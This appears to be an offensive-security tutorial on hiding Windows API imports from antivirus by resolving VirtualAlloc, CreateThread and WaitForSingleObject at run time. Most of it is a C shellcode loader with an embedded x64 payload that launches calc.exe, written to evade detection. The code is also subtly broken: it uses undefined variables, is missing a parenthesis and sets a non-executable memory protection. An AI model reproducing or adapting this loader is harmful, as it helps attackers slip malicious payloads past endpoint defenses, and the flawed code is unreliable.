Looking at the imports of a PE file can be a big indicator of malicious use. For example, should a legitimate binary only use: VirtualAlloc, RtlMoveMemory, and CreateThread? Or is it just malware. Looking at the imports of already known malware and applying detecting logic based on that is something AV's do.
We can Obfuscate our imports and not make those malicious functions popup in our import table by dynamically resolving our functions. We can do this with GetModuleHandle and GetProcAddress.
We will get a handle to the dll that exports the function you want to use, get the address of the function in the dll, and simply call that.
Copy #include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment ( lib , "user32.lib" )
// https://github.com/9emin1/charlotte/blob/main/template.cpp
char shellcode[] = {
0x fc , 0x 48 , 0x 83 , 0x e4 , 0x f0 , 0x e8 , 0x c0 , 0x 00 , 0x 00 , 0x 00 , 0x 41 , 0x 51 ,
0x 41 , 0x 50 , 0x 52 , 0x 51 , 0x 56 , 0x 48 , 0x 31 , 0x d2 , 0x 65 , 0x 48 , 0x 8b , 0x 52 ,
0x 60 , 0x 48 , 0x 8b , 0x 52 , 0x 18 , 0x 48 , 0x 8b , 0x 52 , 0x 20 , 0x 48 , 0x 8b , 0x 72 ,
0x 50 , 0x 48 , 0x 0f , 0x b7 , 0x 4a , 0x 4a , 0x 4d , 0x 31 , 0x c9 , 0x 48 , 0x 31 , 0x c0 ,
0x ac , 0x 3c , 0x 61 , 0x 7c , 0x 02 , 0x 2c , 0x 20 , 0x 41 , 0x c1 , 0x c9 , 0x 0d , 0x 41 ,
0x 01 , 0x c1 , 0x e2 , 0x ed , 0x 52 , 0x 41 , 0x 51 , 0x 48 , 0x 8b , 0x 52 , 0x 20 , 0x 8b ,
0x 42 , 0x 3c , 0x 48 , 0x 01 , 0x d0 , 0x 8b , 0x 80 , 0x 88 , 0x 00 , 0x 00 , 0x 00 , 0x 48 ,
0x 85 , 0x c0 , 0x 74 , 0x 67 , 0x 48 , 0x 01 , 0x d0 , 0x 50 , 0x 8b , 0x 48 , 0x 18 , 0x 44 ,
0x 8b , 0x 40 , 0x 20 , 0x 49 , 0x 01 , 0x d0 , 0x e3 , 0x 56 , 0x 48 , 0x ff , 0x c9 , 0x 41 ,
0x 8b , 0x 34 , 0x 88 , 0x 48 , 0x 01 , 0x d6 , 0x 4d , 0x 31 , 0x c9 , 0x 48 , 0x 31 , 0x c0 ,
0x ac , 0x 41 , 0x c1 , 0x c9 , 0x 0d , 0x 41 , 0x 01 , 0x c1 , 0x 38 , 0x e0 , 0x 75 , 0x f1 ,
0x 4c , 0x 03 , 0x 4c , 0x 24 , 0x 08 , 0x 45 , 0x 39 , 0x d1 , 0x 75 , 0x d8 , 0x 58 , 0x 44 ,
0x 8b , 0x 40 , 0x 24 , 0x 49 , 0x 01 , 0x d0 , 0x 66 , 0x 41 , 0x 8b , 0x 0c , 0x 48 , 0x 44 ,
0x 8b , 0x 40 , 0x 1c , 0x 49 , 0x 01 , 0x d0 , 0x 41 , 0x 8b , 0x 04 , 0x 88 , 0x 48 , 0x 01 ,
0x d0 , 0x 41 , 0x 58 , 0x 41 , 0x 58 , 0x 5e , 0x 59 , 0x 5a , 0x 41 , 0x 58 , 0x 41 , 0x 59 ,
0x 41 , 0x 5a , 0x 48 , 0x 83 , 0x ec , 0x 20 , 0x 41 , 0x 52 , 0x ff , 0x e0 , 0x 58 , 0x 41 ,
0x 59 , 0x 5a , 0x 48 , 0x 8b , 0x 12 , 0x e9 , 0x 57 , 0x ff , 0x ff , 0x ff , 0x 5d , 0x 48 ,
0x ba , 0x 01 , 0x 00 , 0x 00 , 0x 00 , 0x 00 , 0x 00 , 0x 00 , 0x 00 , 0x 48 , 0x 8d , 0x 8d ,
0x 01 , 0x 01 , 0x 00 , 0x 00 , 0x 41 , 0x ba , 0x 31 , 0x 8b , 0x 6f , 0x 87 , 0x ff , 0x d5 ,
0x bb , 0x f0 , 0x b5 , 0x a2 , 0x 56 , 0x 41 , 0x ba , 0x a6 , 0x 95 , 0x bd , 0x 9d , 0x ff ,
0x d5 , 0x 48 , 0x 83 , 0x c4 , 0x 28 , 0x 3c , 0x 06 , 0x 7c , 0x 0a , 0x 80 , 0x fb , 0x e0 ,
0x 75 , 0x 05 , 0x bb , 0x 47 , 0x 13 , 0x 72 , 0x 6f , 0x 6a , 0x 00 , 0x 59 , 0x 41 , 0x 89 ,
0x da , 0x ff , 0x d5 , 0x 63 , 0x 61 , 0x 6c , 0x 63 , 0x 2e , 0x 65 , 0x 78 , 0x 65 , 0x 00
};
int pay_len = sizeof (shellcode);
LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress , SIZE_T dwSize , DWORD flAllocationType , DWORD flProtect);
HANDLE (WINAPI * pCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes , SIZE_T dwStackSize , LPTHREAD_START_ROUTINE lpStartAddress , __drv_aliasesMem LPVOID lpParameter , DWORD dwCreationFlags , LPDWORD lpThreadId);
DWORD (WINAPI * pWaitForSingleObject)(HANDLE hHandle , DWORD dwMilliseconds);
int main ( void ) {
XOR (( char * ) shellcode , pay_len , key , sizeof (key));
pVirtualAlloc = GetProcAddress ( GetModuleHandle ( "kernel32.dll" ) , "VirtualAlloc" );
void * exec = pVirtualAlloc ( 0 , calc_len , MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE);
RtlMoveMemory (exec , shellcode , sizeof (shellcode);
pCreateThread = GetProcAddress ( GetModuleHandle ( "kernel32.dll" ) , "CreateThread" );
HANDLE th = pCreateThread ( 0 , 0 , (LPTHREAD_START_ROUTINE) exec , 0 , 0 , 0 );
pWaitForSingleObject = GetProcAddress ( GetModuleHandle ( "kernel32.dll" ) , "WaitForSingleObject" );
pWaitForSingleObject (th , - 1 );
}
Let's find the imports of the code above to see if it really works. You can check the imports with dumpbin:
In this case, no instances of VirtualAlloc, CreateThread etc. have been found in the import adress table.